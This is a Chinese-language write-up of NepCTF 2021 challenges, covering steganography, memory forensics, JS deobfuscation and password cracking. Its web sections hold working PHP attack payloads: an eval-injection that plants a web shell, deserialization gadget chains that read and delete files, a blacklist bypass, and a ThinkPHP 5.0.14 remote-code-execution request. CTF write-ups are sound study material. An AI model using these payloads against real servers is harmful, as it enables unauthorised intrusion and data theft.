NepCTF 2021

我是间谍2nd

remember: try to forgery ip,but not to reverse it.

根据提示得知需要伪造 IP,此处因为需要终端交互,所以使用环回适配器不是个很好的方案。最方便的办法是直接把物理网卡当前连接的 IPv4 地址直接改成 223.223.223.223。

此时在控制台使用 Netcat 监听程序需要连接交互的 6001 端口。

1
>nc -lvvp 6001

启动程序可见如下回显。

text
1
2
3
connecting to 223.223.223.223:6001
send one character of flag to server....
wait for reply from server....

此时在监听处输入任意字符回车即可接续交互,往复执行可逐位获得 flag。

1
Nep{XVlBzgbaiCMRAjWwhTHctcuAxhxKQFDaFpLSjFbcXoEF}

出题人日记

附件的 Excel 文件使用解压软件打开可得如下信息。

text
1
2
3
4
5
hint:
隐写.wf pna fbyir guvf ceboyrz

[ROT13]
js can solve this problem

在 Excel 文件的 xl/media/ 下可发现文件拓展名被修改的 fufufufufufufufufuufufufufufufufufufufufufufufufufu.flag,修正其拓展名为 .png。使用 Stegsolve 查看图片,可发现图片的 Alpha 通道下可能存有数据,且 Data Extract 无法提取出有效内容。

结合 hint 可以找到如下项目。按照使用方法操作即可得 flag。

GitHub Repo: https://github.com/metallurgical/LSB-steganography-javascript

1
Nep{D4La0_s0lve_th1s_probl3m_to_hit_c4ij1}

我没有py

内存取证获得密码

volatility2 跑 imageinfo,得到如下信息。

text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Volatility Foundation Volatility Framework 2.6.1
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/mnt/f/ghrepos/volatility2/WIN-MREMF575OV9-20210317-081823.raw)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf800040410a0L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0xfffff80004042d00L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2021-03-17 08:18:25 UTC+0000
Image local date and time : 2021-03-17 16:18:25 +0800

再 filescan 可以找出如下重点内容,同时关注到文件中包含微信的文件。

text
1
0x000000007fb79730     16      0 RW-r-- \Device\HarddiskVolume1\Users\rr\Desktop\密码.txt

将这个文件使用 dumpfiles 提取出来可以得到如下内容。

text
1
I_didn't_py

使用 VeraCrypt 配合得到的密码挂载附件中所给的虚拟磁盘,可以得到一份完整的微信帐号文件。

非预期

写着写着听说出了非预期,想到了之前的 Ant X D3CTF 的 VMware 的非预期。稍微搜索了一下,真的能搜到 flag。

1
Nep{sharun_Aka_xiaokeai!}

冰峰历险记

启动游戏可以发现其图标是 Electron 的图标,使用 Ctrl + Shift + I 可以唤出开发者工具。在 Console 下可以看到一个警告,其中包含了游戏资源释放的路径。

定向到相关的目录可以看到这个 Electron 程序的结构。可以发现其主要是使用 JS 驱动的,于是尝试在控制台尝试相关关键字。执行 win() 函数后可以发现游戏画面直接跳转到了结束并要求输入密码解锁箱子的画面。

此时在页面可以找到一段内联 JS,稍加整理后得到如下代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
function onButtonClick() {
var _0x3771 = [
'ble',
'ratu',
'39F2',
'1LIJveh',
'23nyOSum',
'16MBsizm',
'4dMPsHS',
'-1DE',
'73294VUMRxR',
'4AE1',
'1161887UPGDlh',
'3609',
'font',
'8DC3',
'Size',
'6D6-',
'Cong',
'23kcMzKe',
'E558',
'156525dPfREI',
'styl',
'lati',
'5cBLINZ',
'55739hrmAsl',
'Nep{',
'68858hnUPCt',
'109961hCoEny',
'visi',
'ons!',
'46051FfapOI',
'text'
];
var _0x336e = function (_0x8710fc, _0xbfc9ff) {
_0x8710fc = _0x8710fc - 169;
var _0x377162 = _0x3771[_0x8710fc];
return _0x377162;
};
var _0x422051 = _0x336e;
(function (_0x5ea0a5, _0x23a2f6) {
var _0x4b1718 = _0x336e;
while (!![]) {
try {
var _0x13718d = parseInt(_0x4b1718(179)) * -parseInt(_0x4b1718(187)) + -parseInt(_0x4b1718(185)) * parseInt(_0x4b1718(196)) + -parseInt(_0x4b1718(172)) + -parseInt(_0x4b1718(199)) * -parseInt(_0x4b1718(188)) + parseInt(_0x4b1718(170)) * parseInt(_0x4b1718(197)) + parseInt(_0x4b1718(191)) * parseInt(_0x4b1718(198)) + parseInt(_0x4b1718(181)) * parseInt(_0x4b1718(184));
if (_0x13718d === _0x23a2f6)
break;
else
_0x5ea0a5['push'](_0x5ea0a5['shift']());
} catch (_0x2f82a9) {
_0x5ea0a5['push'](_0x5ea0a5['shift']());
}
}
}(_0x3771, 843687));
if (input[_0x422051(192)] == _0x422051(186) + _0x422051(195) + _0x422051(171) + _0x422051(169) + 'B-49' + '31-A' + _0x422051(177) + _0x422051(173) + _0x422051(175) + _0x422051(180) + '}') {
chest_lock[_0x422051(189) + 'ble'] = !![], chest_unlock[_0x422051(189) + 'ble'] = ![], input[_0x422051(189) + 'ble'] = ![], balloon['visi' + 'ble'] = ![], dialog[_0x422051(192)] = _0x422051(178) + _0x422051(194) + _0x422051(183) + _0x422051(190), dialog[_0x422051(182) + 'e'][_0x422051(174) + _0x422051(176)] = 64, dialog['x'] = 10, dialog['y'] = 50, this[_0x422051(189) + _0x422051(193)] = ![];
return;
}
timeoutid != null && clearTimeout(timeoutid);
prompts[_0x422051(189) + _0x422051(193)] = !![], balloon[_0x422051(189) + _0x422051(193)] = !![], timeoutid = setTimeout(disappear, 5000);
}

关键就在于 if (input[_0x422051(192)] == _0x422051(186) + _0x422051(195) + _0x422051(171) + _0x422051(169) + 'B-49' + '31-A' + _0x422051(177) + _0x422051(173) + _0x422051(175) + _0x422051(180) + '}') 。将 == 改作 != 时可以得到 Congratulations!

根据上一个画面可推知需要输入的正是 flag,因此此处的判断拼接判断的也是 flag,所以修改判断逻辑后加一句代码将其拼接的内容输出。

1
console.log(_0x422051(186) + _0x422051(195) + _0x422051(171) + _0x422051(169) + 'B-49' + '31-A' + _0x422051(177) + _0x422051(173) + _0x422051(175) + _0x422051(180) + '}');

将代码写在 if 的逻辑内,将逻辑取反后再次触发 onButtonClick() 函数即可在控制台得到 flag。

1
Nep{39F24AE1-1DEB-4931-A6D6-36098DC3E558}

签到

尝试把给出的内容放到 Sublime Text 里整理一下,用 CyberChef 把 f 替换成空格,再用 mspaint 稍作处理可以得到下图。

结合稍微的猜测,可得 flag。

1
Nep{Y0u_ar3_50_cl3ver!}

make_hsy_great_again

010 editor 打开文件发现末尾有提示 six,猜测压缩包密码是六位数字。rar2john 首先算出压缩包的 hash 值如下。

text
1
$rar5$16$fe5656ec27f0754cb92ca0a79120e099$15$974a98d46f1d4da877c271091ea930e9$8$48f568d6888772c2

因为压缩包压缩方式是 RAR50,因此使用如下指令爆破压缩包密码。

text
1
.\hashcat64.exe -m 13000 -a 3 '$rar5$16$fe5656ec27f0754cb92ca0a79120e099$15$974a98d46f1d4da877c271091ea930e9$8$48f568d6888772c2' ?d?d?d?d?d?d

可以得到如下结果,因此压缩包密码是 520233。

text
1
$rar5$16$fe5656ec27f0754cb92ca0a79120e099$15$974a98d46f1d4da877c271091ea930e9$8$48f568d6888772c2:520233

将附件解压可得一张图片,使用 010 editor 打开可发现其尾部有倒过来的 PNG 图片。

将其提取出来并 Reverse 一次可得到正常的一张 PNG 图片。使用 Stegsolve 可解出如下图片。

同时可以发现图片的右上角有类似 LSB 隐写的小点点。将图片逆时针旋转 $90^\circ$ 后提取 Alpha 3/2/1/0 几个通道的数据可得如下内容。

text
1
541071015369783257979906983920769170889508850603835680538829064360913021

简单 long_to_bytes 一下即可得到 flag。

1
2
from Crypto.Util.number import *
print(long_to_bytes(541071015369783257979906983920769170889508850603835680538829064360913021))
1
Nep{Qfrost_l0v3_hsy_v3r7_m0ch}

little_trick

题目给出的代码如下。

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
$nep = $_GET['nep'];
$len = $_GET['len'];
if(intval($len)<8 && strlen($nep)<13){
eval(substr($nep,0,$len));
}else{
die('too long!');
}
?>

很容易可以知道 intval() 处可以产生一个截断,因此 $len 实际上可以拼接长字符串而不影响判断。因此可以想办法在 eval() 中去执行到 $len。因此只需要 $nep`$len`,并且让 $len 截断后得到数字 7 即可。此时在 $len 后拼接的指令将被执行。

因此可以构造出如下载荷来写入一个 shell。

text
1
.../?nep=`$len`;&len=7%20||%20echo%20%27<?php%20phpinfo();eval("$_GET[1]");%27%20>%20shell.php

此时访问到 .../shell.php 即可看到 phpinfo。使用 GET 参数 1 即可传入执行指令,从而读到位于 nepctf.php 里的 flag。

1
2
3
4
5
.../shell.php?1=system("cat%20nepctf.php");

<?php
$flag = 'NepCTF{n3pn3p_l1ttle_tr1ck_c0me_bAck}';
?>
1
NepCTF{n3pn3p_l1ttle_tr1ck_c0me_bAck}

梦里花开牡丹亭

tricks

反序列化语句触发的条件如下。

1
2
3
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
}

老生常谈的考点,只需要构造 a[]=0e1&b[]=0e2 即可轻松绕过。同时,代码中出现的 21232f297a57a5a743894a0e4a801fc3 很容易使用 somd5 查得摘要前的值为 admin。

反序列化读取文件

给出的代码中可以触发到 file_get_contents 从而读到文件。

结合代码开头的一句 include('shell.php'); 可知需要读取的文件是 shell.php。往上追溯一下,可以发现需要先触发到 login 类的 checking 方法。再向上追溯到 Game 类的 __destruct 方法。因此直接构造出如下反序列化的代码用以生成载荷即可达成目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
class Game{
public $username;
public $password;
public $choice;
public $register;

public $file;
public $filename;
public $content;

public function __construct(){
$this->username = "admin";
$this->password = "admin";
$this->choice = new login($this->file, $this->filename, $this->content);
$this->register = "admin";


$this->filename = "shell";
$this->content = "123";
$this->file = new Open($this->filename,$this->content);

}
}

class login{
public $file;
public $filename;
public $content;

public function __construct($file, $filename, $content){
$this->filename = "shell";
$this->content = "123";
$this->file = new Open($this->filename,$this->content);
}
}


class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){
shell($content);
}else{
echo file_get_contents($filename . ".php");
}
}
}

$exp = new Game();
echo base64_encode(serialize($exp));

可以读取到 shell.php。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function shell($cmd){
if(strlen($cmd)<10){
if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
die("NO");
}else{
return system($cmd);
}
}else{
die('so long!');
}
}

ZipArchive 原生类删除文件

参考文档:https://www.php.net/manual/zh/ziparchive.open.php#:~:text=3.%20Deletes%20the%20existing%20file%20before%20saving%20the%20temporary%20zip%20file%20on%20disk

根据 PHP 手册对于 ZipArchive::open() 的描述可知这个方法会在压缩文件后删除原本的文件。因此可以利用其去删除原本存在的 waf.txt 从而执行到 shell() 方法。open() 方法的用法描述如下。

1
2
3
4
5
6
public function ZipArchive::open ($filename, $flags = null) mixed
(PHP 5 >= 5.2.0, PECL zip >= 1.1.0) Open a ZIP file archive
Parameters:
string $filename The file name of the ZIP archive to open.
int $flags[optional] The mode to use to open the archive.
ZipArchive::OVERWRITE

对比我们能够触发到的 open() 方法 $this->file->open($this->filename, $this->content); 可知我们需要控制 $this->content 为 int 类型。根据 ZipArchive::open() 中对于 $flags 的描述可知选择 ZipArchive::OVERWRITE 较合理。因此构造反序列化代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

class Game{
public $username;
public $password;
public $register;

public $file;
public $filename;
public $content;

public function __construct(){
$this->filename = "waf.txt";
$this->content = ZipArchive::OVERWRITE;
$this->username = "admin";
$this->password = "admin";
$this->register = "admin";
$this->file = new ZipArchive();
}
}


$exp = new Game();
echo base64_encode(serialize($exp));

将如上代码生成的载荷打出即可成功删除 waf.txt。

shell 读文件

shell.php 中对于传入的内容做了严格的过滤并且限制了长度。

1
2
strlen($cmd)<10
preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)

因此能够使用的东西应该非常少,尝试构造出 ls /bin 来查看可执行的指令,可以找到如下内容。

text
1
bash bunzip2 bzcat bzcmp bzdiff bzegrep bzexe bzfgrep bzgrep bzip2 bzip2recover bzless bzmore cat chgrp chmod chown cp dash date dd df dir dmesg dnsdomainname domainname echo egrep false fgrep findmnt grep gunzip gzexe gzip hostname kill ln login ls lsblk mkdir mknod mktemp more mount mountpoint mv nisdomainname pidof ps pwd rbash readlink rm rmdir run-parts sed sh sh.distrib sleep stty su sync tailf tar tempfile touch true umount uname uncompress vdir wdctl which ypdomainname zcat zcmp zdiff zegrep zfgrep zforce zgrep zless zmore znew

仔细看一下正则可以发现反斜杠并没有被匹配,因此 n\l /flag 作为一种九个字符的可行方案。除此之外,因为靶机本身有 PHP 环境,因此可以使用 php /flag 来读出 flag。

1
FLAG{b31a6e56-e2e9-41d9-8842-e54fe18a0bf9}

faka_revenge

下载附件之后可以得到部分源码,搜索 think_version 可以找到如下内容。

1
define('THINK_VERSION', '5.0.14');

因此可以得出这个 CMS 使用的 ThinkPHP 版本,由此找出对应的已经出现过的漏洞。

参考文档:https://bbs.ichunqiu.com/article-1901-1.html

稍微尝试可知 system 已经被禁用了,于是按照参考文章构造如下载荷。

text
1
s=cat /*&_method=__construct&filter=passthru

将载荷打出即可得到 flag。

1
FLAG{065d8c7c-b576-40f2-bdf6-c31ef5dd65b2}